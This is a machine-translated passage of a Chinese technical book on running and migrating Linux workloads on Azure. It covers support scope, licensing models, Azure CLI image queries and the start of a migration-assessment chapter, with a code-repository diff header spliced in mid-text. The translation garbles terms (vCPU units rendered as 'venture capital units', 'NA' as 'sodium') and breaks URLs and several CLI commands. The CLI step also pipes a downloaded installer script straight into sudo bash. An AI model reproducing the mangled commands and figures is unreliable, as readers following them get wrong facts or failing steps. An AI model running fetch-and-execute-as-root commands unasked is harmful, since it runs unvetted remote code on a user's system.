发行版来托管您的生产工作负载。这样做的理由是,所有被认可的映像都是由世界上最知名的 Linux 厂商维护的,比如红帽、Canonical、SUSE 等等;基本上,背书图片是这些供应商发布的图片。完整的 Linux 支持矩阵可以在[https://docs . Microsoft . com/疑难解答/azure/云服务/支持-Linux-开源-技术# Linux-支持-矩阵](https://docs.microsoft.com/troubleshoot/azure/cloud-services/support-linux-open-source-technology#linux-support-matrix)查看。 - -如果您不想使用批注过的图像,也可以将自己的图像带到 Azure。您甚至可以使用 Azure Image Builder 工具定制 Azure 映像,该工具基于 hashicop Packer:[https://docs . Microsoft . com/Azure/virtual-machines/Image-Builder-overview](https://docs.microsoft.com/azure/virtual-machines/image-builder-overview)。 - -这里需要注意的一个关键点是,微软只为认可的发行版提供支持。说到这里,我们来看看 Azure 上对 Linux 的技术支持是如何安排的。 - -### Linux 支持范围 - -微软为 Azure 上认可的 Linux 发行版提供支持,如果需要联系供应商,他们将根据具体情况代表您进行联系。例如,如果 Ubuntu 18.04 LTS 的映像有问题,并且微软无法修复,他们将联系 Canonical(Ubuntu 的发行商)来检查该场景。以下是您在联系微软支持时应该记住的一些要点。 - -微软的技术支持团队可以主要在 Linux 故障排除场景中为您提供帮助,例如,如果您无法使用 SSH 连接到 Linux 虚拟机,或者无法安装软件包。Linux 供应商可能必须参与解决与 Linux 映像本身相关的问题。为此,微软与红帽、SUSE 和 Canonical 等 Linux 供应商达成了联合支持和工程协议。 - -在使用微软支持时,请务必让您的 Linux 管理员参与进来。在大多数故障排除场景中,您可能需要超级用户(通常称为 **sudo** )权限,这只有管理员才有。 - -Linux 提供了比任何其他操作系统更大的定制空间。有些组织使用微软支持不支持的定制 Linux 内核或模块。虽然内核相关的问题是通过与 Linux 供应商合作来解决的,但是在这种情况下,即使是供应商也可能无法提供帮助,因为他们通常只能支持自己发布的官方内核版本。 - -Azure Advisor 和 Azure 安全中心为我们的工作负载提供了不同的安全性、成本、高可用性和性能相关的建议。遵循这些建议是在 Azure 上有效运行工作负载的最佳实践之一。但是,对于性能调整和优化,客户可能需要联系供应商寻求解决方案。 - -如前所述,微软支持帮助您解决问题。这适用于免费的 Azure 支持,官方称之为“基本”支持,适用于所有 Azure 客户。如果您需要在 Azure 上设计、创建架构或部署应用方面的帮助,您可以选择购买额外的支持,范围从开发支持到关键业务企业支持计划。付费计划包括各种级别的设计和架构支持,您可以在此了解更多信息:[https://azure.microsoft.com/support/plans/](https://azure.microsoft.com/support/plans/)。 - -在 Azure 设计、架构和其他技术问题上获得帮助的另一种选择是与微软的销售和合作伙伴团队合作,即**客户成功部门** ( **CSU** )和 **One 商业合作伙伴** ( **OCP** )。这些团队能够帮助指定的商业客户和合作伙伴。请记住,这些组织不是微软支持的替代者,而是微软全球销售和营销组织的一部分。要联系 CSU 和 OCP 团队的技术人员,您应该联系您指定的 Microsoft 客户经理。 - -第三个也是非常受欢迎的选择是与大型微软合作伙伴网络进行交流。他们能够为 Azure 以及 Azure 上的 Linux 提供广泛的咨询、咨询、实施和操作帮助。其中许多合作伙伴还与本章中提到的一些 Linux 供应商合作。找到微软合作伙伴最简单的方法是使用微软解决方案提供商搜索工具:[https://www.microsoft.com/solution-providers/home](https://www.microsoft.com/solution-providers/home)。 - -#### 注意 - -除了认可的 Linux 发行版支持,微软还为某些 OSS 技术提供生产支持,如 PHP、Java、Python、Node.js、MySQL、Apache、Tomcat 和 WordPress。此列表可能会有所变化,可用的技术支持可能非常有限。 - -现在我们已经熟悉了 Azure 技术支持的范围,让我们看看定价在 Azure 上是如何工作的。 - -### 在天蓝色上许可 - -在 Azure 中,有三种授权模式:**现收现付** ( **PAYG** )、Azure 混合福利、预付费。我们将从 PAYG 模型开始,看看这些模型是如何变化的,有什么好处。 - -### 现收现付模式 - -顾名思义,在 PAYG 模式中,客户在使用资源时会被收取许可证费用。例如,如果您运行虚拟机 12 小时,您将看到以下费用: - -* 12 小时的计算时间(包括 vCPU、RAM 等)。 -* 12 小时的 Linux“许可”或“订阅”使用(如果您使用的是需要付费订阅的发行版,如 RHEL 或 SLES)。 -* 公共 IP 地址的成本(如果需要)。 -* 出口网络流量的成本。 -* 存储成本。 - -通常,在 Azure 定价计算器([https://azure.microsoft.com/pricing/calculator/](https://azure.microsoft.com/pricing/calculator/))中,当您选择运行 RHEL 或 SLES 的 Linux 虚拟机时,您将能够看到许可成本。如果您使用的是 Ubuntu/CentOS,则不会有许可费用。在*图 2.3* 中,您可以看到,对于 RHEL 虚拟机,在 PAYG 下有计算和许可成本。计算是针对 730 小时的消耗: - -![Licensing cost for RHEL from the Azure Pricing Calculator](img/B17160_02_03.jpg) - -图 2.3:来自 Azure 定价计算器的 RHEL 许可成本 - -另一方面,如果我们选择 Ubuntu/CentOS,许可费用就不在那里了,如图*图 2.4* : - -![Licensing cost does not apply to Ubuntu](img/B17160_02_04.jpg) - -图 2.4:许可成本不适用于 Ubuntu - -总而言之,在 PAYG,客户根据虚拟机运行时间付费。当虚拟机解除分配时,计算核心不会被利用,这意味着计算核心或许可证不会产生任何费用。这种模式非常适合为测试而部署并将短时间运行的虚拟机,但是如果您有 24/7/365 运行的虚拟机,这可能不是理想的模式,因为许可证成本会根据使用的小时数不断累积。在这些情况下,最好选择 Azure 混合福利或预付计划,以实现潜在的节约。 - -### 天蓝色混合优势 - -如果你重温*图 2.3* 中定价计算器的截图,你可以在**软件(红帽企业 Linux)** 下看到另一个选项,上面写着 **Azure 混合福利**。以前,Azure 混合优势是指可用于 Windows Server 和 SQL 虚拟机的许可优势,客户可以通过该优势将自己的 Windows Server 和 SQL 许可证带到 Azure。使用这种方法,许可成本无效,客户可以使用他们已经从软件保障或批量许可中购买的许可证。2020 年 11 月,Azure 混合优势被普遍用于 Linux。 - -使用 Azure 混合福利,您可以通过**自带订阅** ( **BYOS** )计费将现有的 RHEL 和 SLES 服务器迁移到 Azure。通常,在 PAYG 模式中,您需要支付基础架构(计算+存储+网络)成本和软件(许可)成本。但是,由于您将自己的订阅带到这里,软件成本被取消,您只需为基础架构付费,这大大降低了在 Azure 中托管的成本。您可以将 PAYG 模式下的现有虚拟机转换为 BYOS 计费,而无需停机,这也意味着根本不需要重新部署这些服务。当您的 BYOS 到期时,您可以根据需要将这些虚拟机转换回 PAYG 模式。 - -Azure 市场上的所有 RHEL 和 SLES PAYG 映像都有资格享受 Azure 混合福利。但是,如果您要从 Azure Marketplace 中选择自定义图像或任何 RHEL/SLES BYOS 图像,则这些图像不符合享受该优惠的条件。 - -红帽客户可以按照以下说明开始使用 Azure 混合优势。在我们开始之前,有一些先决条件: - -* 您应该拥有符合 Azure 使用条件的活动或未使用的 RHEL 订阅。 -* 您应该已经使用红帽云访问程序为 Azure 使用启用了一个或多个活动或未使用的订阅。红帽云访问是红帽提供的一个项目。使用此功能,您可以在红帽认证的云提供商(如微软 Azure、亚马逊网络服务和谷歌云)上运行合格的红帽产品订阅。 - -如果您满足先决条件,下一步是开始使用 Azure 混合优势。以下是您需要遵循的步骤: - -1. 选择一个活动的或未使用的 RHEL 订阅,并启用它在 Azure 中使用。这是从红帽云访问客户界面完成的。红帽客户登录[https://www . red Hat . com/technologies/cloud-computing/cloud-access](https://www.redhat.com/technologies/cloud-computing/cloud-access)即可访问。只有我们在此注册的订阅才有资格使用 Azure 混合福利。 -2. 链接订阅是主要步骤;我们可以指定虚拟机在创建阶段使用 RHEL 订阅,也可以转换现有虚拟机。 -3. During the creation of the VM, you can opt to use the existing RHEL subscription as shown in *Figure 2.5*: - - ![Opting to use the existing RHEL subscription](img/B17160_02_05.jpg) - - 图 2.5:在虚拟机创建期间实现 Azure 混合优势 - -4. 我们还可以将现有虚拟机转换为 Azure 混合优势,而无需重新部署。这可以通过虚拟机的**配置**面板来实现,如*图 2.6* 所示: - -![Converting existing VMs to Azure Hybrid Benefit](img/B17160_02_06.jpg) - -图 2.6:将现有虚拟机转换为 Azure 混合优势 - -一旦这个过程完成,在您的 Azure 使用中,您将看到虚拟机的成本大幅下降。将 RHEL 订阅附加到 Azure 虚拟机的过程也可以从 CLI 和 ARM 模板完成,如果您想以编程方式完成的话。 - -如前所述,只要 RHEL 套餐到期,客户就可以自由切换回 PAYG 模式。转换回 PAYG 模型也是通过虚拟机的配置窗格完成的。 - -对于 SUSE 客户来说,连接的过程基本相同;但是,使用 SUSE 订阅的注册是通过 SUSE 公共云计划完成的。 - -这种模式非常适合那些拥有从各自供应商处购买的有效或未使用的 RHEL 或 SUSE 订阅,并且希望在云中使用这些订阅以实现比 PAYG 模式更大的潜在节约的客户。 - -在这个模型中,我们使用从 Red Hat 或 SUSE 购买的订阅,并将其附加到我们的 Azure 订阅中。然而,在我们接下来要介绍的预付费模式中,我们将直接从微软购买红帽或 SUSE 软件计划。 - -### 为 Azure 软件计划预付费用 - -Azure 定价计算器的储蓄选项部分中软件(红帽企业 Linux)下的最后一个选项保留 1 年。*图 2.7* 展示了红帽正在选择的 1 年软件计划: - -![Selecting a one-year software plan for Red Hat](img/B17160_02_07.jpg) - -图 2.7:从 Azure 定价计算器计算软件计划成本 - -在这种模式下,客户可以直接从微软购买为期 1 年的软件计划,如果需要,他们也可以在期限结束时续订。这里的一个问题是,计划金额应该提前支付。在*图 2.7* 中,可以看到这个已经在成本中提到了;客户从 Azure 购买软件计划的那一刻起,该费用将作为下一年的前期费用添加到下一张发票中。 - -这里要记住的另一个要点是,不允许取消或交换这些计划。这意味着你应该为你的工作量购买正确的计划。例如,如果您的产品是 2-4 个风投单位的 SLES 优先,您应该购买 2-4 个风投单位的 SLES 优先。如果您错误地为 HPC 1-2 风险资本单位购买了 SLES,而不是为 2-4 风险资本单位购买了 SLES 优先,那么您将无法获得该福利,也无法退回或更换该计划。这里的一个建议是了解你的工作量,并据此购买。 - -软件计划可以从 Azure 中的“保留”窗格中购买,这正是我们为 Azure 虚拟机、数据库等购买保留实例的地方。该优势将自动应用于匹配的工作负载,并且不需要映射。 - -例如,如果您有三个 SLES 优先级实例,每个实例都有 4 个风险资本单位,那么您的正确计划是 2-4 个风险资本单位的 SLES 优先级。根据您购买的数量,折扣会自动应用于实例。假设我们为 2-4 个 vCPU 计划购买了两个 SLES 优先级;然后,三分之二的虚拟机将受益,剩下的一个将保留在 PAYG 模式中。如果你需要第三个计划的费用,那么你需要购买另一个同类计划。这个新计划将自动附加到剩余的虚拟机。 - -像 Azure 保留的实例一样,软件计划是一个“使用它或失去它”的好处。这意味着,如果您取消分配所有虚拟机,并且计划无法找到合适的虚拟机来连接,那么收益将是徒劳的。你不能结转未使用的时间。 - -#### 注意 - -通过在 Azure 门户上打开计费支持案例,您可以避免在迁移的情况下失去优势。 - -在购买软件计划之前,您应该始终对您的工作负载进行适当的规划,以确保选择最具成本效益的计划。重申我们应该牢记的一些考虑: - -1. 该计划非常适合 24/7/365 工作负载;其他服务器需要计费支持更改请求。如果计划不能发现合适的 SKU,计划的利用率将为零,您将失去一个好处。 -2. 不可能退货或换货。根据您的虚拟机拥有的产品和 vCores 购买正确的计划;购买错误的计划或错误数量的 CPU 将导致金钱损失。 -3. 对于 SUSE 计划,仅支持某些 SLES 版本。确保您使用 **cat/etc/os-release** 命令检查您正在运行的版本,并与此处提供的文档相匹配:[https://docs . Microsoft . com/azure/cost-management-开单/预订/了解-预订-收费#折扣-适用于不同虚拟机大小的预订计划](https://docs.microsoft.com/azure/cost-management-billing/reservations/understand-suse-reservation-charges#discount-applies-to-different-vm-sizes-for-suse-plans)。 -4. 该计划的费用是预付的,将出现在您的下一张发票上。 - -在下一节中,我们将通过对这些许可模式及其优势的有益比较来结束本章的许可部分。 - -### 许可模式的节约比较 - -在上一节中,我们看到了适用于您在 Azure 中的 Linux 工作负载的不同类型的许可模式(参见*第 1 章*、 *Linux:云中的历史和未来*)。在这里,我们将从客户的角度进行比较,并查看每种型号的节省百分比。 - -出于演示目的,我们将使用在美国东部运行 730 小时的 RHEL D2v3 虚拟机的成本(美元)。在撰写本文时,PAYG 和预付费软件计划模型的软件成本分别为每月 43.80 美元和 35 美元。我们不考虑 Azure 混合福利月费,因为此订阅是从相应的型号购买的。如果您已经与红帽或 SUSE 合作,您可以在这些订阅上获得一些折扣。现在让我们做数学;*表 2.1* 显示了每个型号每月的成本: - -![Azure licensing model comparison](img/B16170_Table_2.1.jpg) - -表 2.1: Azure 许可模式比较 - -如果我们将这些值绘制在图表上,并计算一年的储蓄百分比,我们将得到一个类似于*图 2.8* 所示的图表: - -![Graphical representation of savings percentage for a year](img/B17160_02_08.jpg) - -图 2.8:计算许可模式的节约 - -该值可能看起来很小,但这仅适用于单个虚拟机;在有数千个虚拟机的企业环境中,潜在的节约非常高。 - -每个模型都有自己的用例场景: - -* 如果您不打算让虚拟机全天候运行,那么 PAYG 非常适合测试或开发。 -* 如果您拥有红帽或 SUSE 的许可证订阅,并且希望在云中使用它们,Azure 混合优势是合适的。 -* 预付软件计划非常适合没有 RHEL 或 SUSE 订阅并希望在软件成本上获得一些折扣的客户。然而,这是微软的长期承诺。 - -使用 Azure 保留实例,客户还可以获得计算成本的折扣。简而言之,如果您将 Azure 混合福利或预付软件计划与 Azure 保留实例相结合,整体节省百分比将提升至 50-70%。您可以在这里阅读更多关于虚拟机 Azure 预留实例的信息:[https://docs . Microsoft . com/Azure/成本管理-计费/预留/保存-计算-成本-预留](https://docs.microsoft.com/azure/cost-management-billing/reservations/save-compute-costs-reservations)。由于这不是一个许可模式,而更多的是一种成本优化技术,我们将不会在本章中讨论这个主题。但是,当我们在*第 3 章*、*评估和迁移规划*中讨论评估和迁移时,我们将讨论如何优化云成本。 - -现在我们已经熟悉了许可模型,让我们看看如何使用 Azure **命令行界面**来查找可用发行版的版本。 - -### 可用发行版 - -在 Azure 上的*Linux*部分的介绍中,我们看到微软 Azure 支持常见的 Linux 发行版,比如红帽、Ubuntu、SUSE、CentOS、Debian、Oracle Linux 和 CoreOS。我们还看到了如何利用 Azure Marketplace 来根据我们组织的需求找到合适的图像。*表 2.2* 显示了认可的发行版以及提供这些图像的供应商/发行商: - -![Endorsed Linux distributions on Azure](img/B16170_Table_2.2.jpg) - -表 2.2:Azure 上认可的 Linux 发行版 - -虽然上表给出了通用版本号,但是使用 **Azure CLI** 很容易从发布者那里找到图像名称和版本。为了使用 Azure 命令行界面,我们需要在工作站上安装它。Azure 命令行界面可以安装在 Linux、苹果或视窗系统上。如果您在 Azure 门户中使用云外壳,默认情况下会为您安装 Azure 命令行界面。 - -假设我们使用的是本地计算机(例如 Ubuntu 计算机),我们需要安装 Azure 命令行界面。具体安装步骤可以根据你的操作系统在这里找到:[https://docs.microsoft.com/cli/azure/install-azure-cli](https://docs.microsoft.com/cli/azure/install-azure-cli)。为了简化演示,我们将在 Ubuntu 实例上安装 Azure 命令行界面: - -1. Microsoft has developed a script to run the installation in a single shot, which makes it convenient for beginners to ramp up quickly. If you prefer to perform this step by step, the Microsoft documentation has instructions for that as well. For Ubuntu, the installation can be done using the following command: - - curl-sL https://aka.ms/InstallAzureCLIDeb | sudo bash - - 输出见*图 2.9* : - - ![Azure CLI installation on Ubuntu](img/B17160_02_09.jpg) - - 图 2.9:Ubuntu 上的 Azure 命令行界面安装 - -2. The next step is to log in to our account from the Azure CLI in order to connect our Azure account to the Azure CLI. This can be accomplished by running the **az login** command. The console will prompt you to open a browser window and provide a code to complete the authentication process, as shown in *Figure 2.10*: - - ![Logging in to Azure using the Azure CLI](img/B17160_02_10.jpg) - - 图 2.10:使用 Azure 命令行界面登录到 Azure - -3. In a browser window, you must enter the code shown in the terminal (as shown in *Figure 2.10*) and sign in using your credentials. Once signed in, the terminal will show all the subscriptions you have access to, as seen in *Figure 2.11*. If you do not want to authenticate using the code, you can log in using a service principal where you will be using the client ID and client secret as the username and password, respectively. Also, you can use Managed Identity if required: - - ![Logging in to Azure by providing username and password and various other details](img/B17160_02_11.jpg) - - 图 2.11:登录到 Azure - - 现在,我们将了解如何获取可用虚拟机映像的信息。这里使用的主要命令是 **az vm 镜像**。 - -4. To list the images (offline) for the VMs/VMSSs that are available on Azure Marketplace, you can use **az vm image list**. The response will be in JSON and we can format it to a table by appending the **-o table** parameter to the command. This will list offline cached images as shown in *Figure 2.12*: - - ![The list of offline cached images](img/B17160_02_12.jpg) - - 图 2.12:列出可用的虚拟机映像 - - 要更新列表并显示所有图像,您可以将**–all**参数追加到命令中,然后再次调用命令。 - - 前面的命令可能需要一两分钟来刷新所有可用图像的列表。通常,当我们查询图像列表时,建议使用 publisher 或 SKU 或 offer 参数,以便搜索仅限于一组图像,并且可以非常容易地检索结果。 - - 在接下来的步骤中,我们将看到如何找到图像的发行商、报价或 SKU,并在我们的 **az vm 图像列表**中使用它来缩小搜索范围。 - -5. In order to find the list of all publishers, we can use the **az vm image list-publishers** command. Location is a required parameter here, as some publishers publish only to a specific region, so it's recommended to check that the publisher has published to the region you are planning to deploy to. The following is the output: - - ![The list of all publishers in the region](img/B17160_02_13.jpg) - - 图 2.13:列出一个地区的出版商 - -6. For example, the publisher for Ubuntu is Canonical. If we want to list all the offers provided by this publisher, we can use the following command: - - az 虚拟机映像列表-报价-p Canonical -l eastus -o 表 - - 这里,位置是必需的参数,因为报价可能因位置而异。输出类似于*图 2.14* 所示: - - ![The list of images from the Canonical publisher in East US](img/B17160_02_14.jpg) - - 图 2.14:列出来自美国东部 Canonical 发行商的图像 - -7. Let's pick an offer; for instance, **UbuntuServer**. Now we need to list the SKUs to find the available SKUs for the image. We need to pass the publisher, offer, and location to the **az vm image list-skus** command in order to list the SKUs. The aforementioned parameters are mandatory for this command, so the final command will be as follows: - - az vm 映像列表-SKU-l eastus-p canonical-f ubuntuserver-o 表 - - 输出如*图 2.15* 所示: - - ![The list of SKUs available for Canonical UbuntuServer offer in East US](img/B17160_02_15.jpg) - - 图 2.15:列出了美国东部标准 UbuntuServer 产品中可用的 SKU - -8. Now we know the publisher, offer, and SKU. Let's use these values in the **az vm image list** command to see the available versions of an image. Here we will be using **Canonical** as the publisher (**-p**), **UbuntuServer** as the offer (**-f**), and **19_04-gen2** as the SKU (**-s**). Combine these and call the following command: - - az 虚拟机映像列表-p Canonical-f ubuntuser ver-s 19 _ 04-gen 2-all-o 表 - - 这将列出可用于指定发行商、报价和 SKU 组合的图像版本。以下是示例输出: - - ![The list of versions of an image for a specific publisher, offer, and SKU combination](img/B17160_02_16.jpg) - - 图 2.16:列出特定发行商、报价和 SKU 组合的图像版本 - -9. We can use **urn** from the output in the **az vm image show** command to get the details of the VM image as shown in *Figure 2.17*: - - ![Finding details of the VM image](img/B17160_02_17.jpg) - - 图 2.17:查找虚拟机映像详细信息 - -10. The same **urn** can be used in our **az vm create** command to create a VM with that particular image version. A quick illustration has been given in *Figure 2.18*: - - ![Creating a VM using URN](img/B17160_02_18.jpg) - -图 2.18:使用 URN 创建虚拟机 - -在我们结束之前,请查看*表 2.3* ,该表列出了我们在前面步骤中使用的所有命令,以供快速参考: - - -| 命令 | 目的 | 所需参数 | 文件 | -| --- | --- | --- | --- | -| vm 映像列表 | 列出虚拟机/VMSS 映像(离线/缓存)。 | 钠 | [https://docs.microsoft.com/cli/azure/vm/image?view = azure-CLI-最新](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest) | -| az 虚拟机映像列表-全部 | 列出来自 Azure 市场的所有图像。由于数据集很大,这通常需要时间。建议您使用 publisher、offer 和 SKU 进行过滤,以获得更快的响应。 | 钠 | -| az 虚拟机映像列表-发布者 | 列出可用的发布者。 | 位置( **-l** ) | -| az 虚拟机映像列表-优惠 | 列出可用的虚拟机映像产品。 | 位置( **-l** ),发布者( **-p** ) | -| 虚拟机映像列表框 | 列出发行商报价的可用库存单位。 | 位置( **-l** )、出版商( **-p** )、报价( **-f** ) | -| 虚拟机映像显示 | 显示给定 URN 的详细信息。 | 位置( **-l** )、URN ( **-u** ) | -| az 虚拟机创建 | 创建虚拟机。 | 名称( **-n** ),资源组( **-g** ) | [https://docs.microsoft.com/cli/azure/vm?view = azure-CLI-最新#az_vm_create](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create) | - -表 2.3:用于动手练习的命令 - -在本实践练习中,我们查询了映像列表以查找可用的映像,并使用这些映像创建了一个虚拟机。我们学习了如何使用出版商、优惠和 SKU 等参数缩小搜索范围。 - -虽然我们使用 Azure CLI 来完成这项任务,但是如果您使用的是 PSCore 或 PowerShell,则可以使用 Azure Powershell 模块来执行相同的操作。这个的文档可以在这里找到:[https://docs . Microsoft . com/powershell/module/az . compute/get-azvmimage?view=azps-5.2.0](https://docs.microsoft.com/powershell/module/az.compute/get-azvmimage?view=azps-5.2.0) 。 - -至此,我们已经到达了本章的结尾,现在我们将总结到目前为止讨论的主题。 - -## 总结 - -在第一章中,我们了解到根据用户需求,有不同的 Linux 发行版或版本。本章更多的是对流行的 Linux 发行版以及 Linux 在 Azure 上的工作原理的概述。我们还谈到了商业和免费开源软件。 - -使用商业发行版的 Linux 有几个优点。由于我们是为这些订阅付费的,预计它们会提供免费发行版中没有的额外功能。这些附加组件包括支持、额外模块和扩展定制选项。这一章也揭示了这些领域。 - -我们仔细研究了 Azure 上的 Linux。我们从 Azure 市场和它的大量图片开始。在那之后,我们引入了术语“认可分发”;这就是微软与红帽、Canonical 和 SUSE 等不同供应商合作,将他们的 Linux 映像带到云中的地方。微软建议在您的生产部署中使用认可的映像。我们还讨论了技术支持矩阵和微软支持提供的支持范围。我们看到了供应商需要参与解决问题的一些场景。 - -在介绍了 Azure 上的 Linux 发行版之后,我们讨论了 Linux 中可用的许可模式,以及根据部署类型,哪种模式最适合您。我们还绘制了一个图表来描述每个模型的潜在节约。本章的最后一部分是更多的实践,我们看到了如何使用 Azure CLI 来查找 Azure 上可用的不同虚拟机映像。然而,选择的范围并不止于此;如果你找不到你要找的图片,Azure 可以让你自由的自带图片。 - -Azure 上的 Linux 是一个广泛的话题,有很多书明确讨论了如何在 Azure 上进行 Linux 管理。这本书更倾向于 Linux 工作负载的迁移和评估。对许可模型和发行版进行了解释,以帮助您理解 Azure 领域中的工作方式。 - -在下一章中,我们将开始讨论迁移。许多组织在没有适当评估或规划的情况下开始迁移到云。规划和评估是迁移的基石,在迁移到云之前需要正确完成。规划阶段更多的是了解容量和检查先决条件,而评估则是使用评估工具来验证您的工作负载是否已经为 Azure 做好准备,或者他们是否需要任何类型的重构。话虽如此,我们将在下一章中更多地讨论这些策略和步骤。继续读! \ No newline at end of file diff --git a/docs/migrate-linux-ms-azure/3.md b/docs/migrate-linux-ms-azure/3.md deleted file mode 100644 index 2afc4f8e..00000000 --- a/docs/migrate-linux-ms-azure/3.md +++ /dev/null @@ -1,637 +0,0 @@ -# 三、评估和迁移规划 - -本章将重点讨论评估本地或托管环境中现有工作负载的有用方法,并为规划迁移项目提供一些指导。 - -我们将深入讨论一些流行的 Linux 工作负载的技术细节,并解释为什么这些特定的工作负载需要在迁移之前进行额外的仔细规划。此外,我们将讨论各种迁移方法和工具,还将展示一些如何使用 Azure Migrate 等工具评估当前工作负载的实际示例。 - -到目前为止,我们一直在谈论 Linux 的历史和各种可用的 Linux 发行版。我们没有讨论迁移或在此之前发生的事情。在本章中,我们将介绍与迁移前步骤相关的概念。您可能想知道为什么我们需要迁移前的步骤,为什么我们不能将工作负载直接迁移到云中。答案很简单,迁移到云需要大量的规划和评估。我们需要确保我们的工作负载已准备好迁移到云中,否则在迁移上投入的时间和金钱将会付诸东流。 - -在本章中,您还将了解到预迁移主要包括评估和容量规划。评估是创建当前环境中工作负载清单的过程。使用此清单,我们将能够了解当前的基础架构拓扑,这可用于生成向云迁移的费用,并验证工作负载是否经过云优化。 - -我们还将介绍一项名为 **Azure Migrate** 的服务,它可以处理我们的 Linux 工作负载的评估和迁移。随着我们的进展,我们将向您介绍评估流程及其与迁移的相关性。 - -本章的一些要点如下: - -* 了解 Linux 上一些流行的工作负载 -* 准备迁移项目 -* 评估当前环境 -* 评估工具介绍 - -此外,我们还为您创建了一个动手实验练习,您可以通过自己动手来学习评估环境。 - -现在让我们从运行在 Linux 上的一些流行工作负载开始。 - -## Linux 上流行的工作负载 - -在现实场景中,我们只迁移运行工作负载的服务器,因为将没有服务的虚拟机迁移到云中是没有意义的。相反,您可以直接在 Azure 中部署一个新的服务器,并在此基础上开始开发。让我们快速回顾一下 Linux 上流行的工作负载。其中一些已经在*第 1 章*、 *Linux:云中的历史和未来*中进行了解释。让我们回顾一下各种工作负载,包括应用托管(如 Java 和 LAMP)、搜索和大数据,看看 Azure 如何支持这些。 - -### 灯 - -首字母缩略词 LAMP 代表 **Linux** 、 **Apache** 、 **MySQL** 、 **PHP/Perl/Python** 。通常,它是任何 Linux 管理员都会建立的第一个服务堆栈,通常用于托管动态和数据库驱动的网站。在 LAMP 中: - -* **Linux** ( **L** )指任何 Linux 发行版;您可以使用 Ubuntu 或 Fedora 或 CentOS 或任何其他发行版。 -* **Apache** ( **A** )是向用户呈现数据或网页的网络服务器。简而言之,这是用户将与之交互的前端。 -* **MySQL** ( **M** )是将用于保存数据的数据存储。 -* **PHP/Perl/Python**(**P**)是用于开发动态网站的编程语言。 - -虽然我们称之为 LAMP 服务器安装,但这些是单独的软件包,您需要单独安装,这不像在计算机上安装 CentOS。在某些情况下,LAMP 可能不是正确的选择;换句话说,您可能不需要 LAMP 的所有组件。同样,这完全取决于您的应用是什么。如果您有一个使用 HTML、CSS 和 JS 创建的静态网站,那么您的系统中不需要 MySQL 或 PHP 功能。您所需要的只是运行在其上的 Linux 服务器和 Apache web 服务器,它们可以将静态站点交付给您的客户端。 - -根据您使用的 LAMP 服务器的组件,需要相应地规划迁移。在本章的动手实验中,我们将使用 LAMP 服务器进行评估和依赖性分析。*图 3.1* 展示了服务器的架构。此体系结构可以部署在 Hyper-V、VMWare ESXi 等虚拟机管理程序上,也可以部署在物理服务器上。在我们的实验室中,我们将使用 Hyper-V 作为虚拟化平台: - -![The architecture of the LAMP server, which includes 4 layers: web server (Apache), Scripting (Perl/PHP/Python), Database (MySQL), and OS (Linux)](img/B17160_03_01.jpg) - -图 3.1: LAMP 服务器 - -*图 3.1* 展示了动手实验室中使用的架构。 - -### 数据库服务器 - -在 LAMP 中,我们看到了 Linux 服务器如何托管 MySQL 数据库,该数据库可以作为动态网站的数据存储。MySQL 并不是唯一可以部署在 Linux 服务器上的数据库。有太多的关系和非关系数据库可以安装在 Linux 服务器上。下面列出了一些可以在 Linux 上部署的开源关系数据库。其中一些非常受欢迎,广为人知;其他你以前可能没有听说过的: - -* 关系型数据库 -* 马里亚 DB -* 一种数据库系统 -* 数据库 -* LucidDB -* 氘 -* HSQLDB -* 火鸟 -* 德比 -* 库弗德 - -还有许多其他关系数据库产品不是开源的,例如微软的 SQL Server、Oracle Database 18c、MaxDB 和 IBM 的 DB2。 - -除了关系数据库,Linux 也是 NoSQL 数据库的一个流行平台。MongoDB、Couchbase、CouchDB、RavenDB 和 OrientDB 都是 NoSQL 数据库的例子。 - -Azure 拥有数据库迁移服务,可将数据从内部迁移至托管的**平台即服务** ( **PaaS** )解决方案。不管 PaaS 服务提供的所有优势如何,有一部分客户更喜欢将这些优势部署在**基础架构即服务** ( **IaaS** )服务器上,并全面管理管理。迁移过程和技术细节取决于所选择的技术。 - -除了 IaaS,Azure 还提供了一套开源数据库作为 PaaS 解决方案。使用 PaaS 的优势在于,大多数与基础架构相关的任务(如更新和修补)将由 Microsoft Azure 负责。这些 PaaS 解决方案包括用于 PostgreSQL 的 Azure 数据库、用于 MySQL 的 Azure 数据库、用于 MariaDB 的 Azure 数据库以及用于 Redis 的 Azure 缓存。 - -### 高性能计算、集群和 SAP - -在*第 1 章*、 *Linux:云中的历史和未来*中,我们考察了 Linux 中的 SAP、集群和 HPC 场景。概括地说,**高性能计算** ( **高性能计算**)是数百甚至数千台联网服务器的集合。集群中的每台服务器都被称为**节点**,它们相互并行工作以提供更高的处理速度。高综合处理速度有助于提高性能。 - -微软 Azure 提供了各种虚拟机系列,这些虚拟机系列是专门为高性能计算而设计的,可用于执行计算密集型任务。这些包括 VM 系列、H 系列、HC 系列、HB 系列和 HBv2 系列。 - -客户将高性能计算迁移到云的主要理由是更大的资源需求。由于这些工作负载正在执行计算密集型任务,因此所需的计算能力很大,必要时基础架构应该能够提供更多的服务器。内部基础设施将无法像云一样提供这种自由的可扩展性。现实情况是,内部基础架构只能处理高性能计算集群。任何超出这个安全区域的缩放都是不可能实现的。这就是 Azure 的用武之地。您所需要做的就是设置扩展策略,Azure 将负责其余的工作。 - -有趣的是,您还可以实施混合高性能计算集群,其中头节点将放置在内部,计算节点放置在 Azure 中。由于计算节点位于 Azure 中,因此可以根据需求执行扩展。 - -### 共享存储 - -通过回顾*第 1 章*、 *Linux:云中的历史和未来*,让我们再次回顾共享存储用例。Linux 通常用作存储服务器,客户端通过中小型企业或 NFS 协议连接到服务器。这些服务器可用于存储共享文件,并可由客户端出于多种目的进行访问。例如,您可以有一个共享文件服务器来存储内部应用的所有必要安装包。您的客户端将能够从共享存储中下载并使用这些文件。 - -此外,共享存储可用于存储需要协作的文件。上传到这些驱动器的文件可以由协作者使用,这取决于他们拥有的权限级别。 - -在微软 Azure 中,Azure 文件可以用作共享存储,这里的优势是这是一个完全托管的服务。如果您计划部署虚拟机并在此基础上托管共享存储,作为客户,您必须管理许多事情,从操作系统管理、更新、补丁等开始。但是,在 Azure Files 的情况下,该服务由微软管理,并且由于 Azure Storage 提供的各种冗余级别,您不必担心自己实现高可用性。 - -可以使用 AzCopy 和 robocopy 等命令行工具移动内部数据。AzCopy 针对拷贝作业的最佳吞吐量进行了优化,可以在存储帐户之间直接拷贝数据。另一方面,如果您想从内部存储转移到 Azure 文件存储,robocopy 非常有用,因为 Azure 文件存储已经安装在同一台服务器上。 - 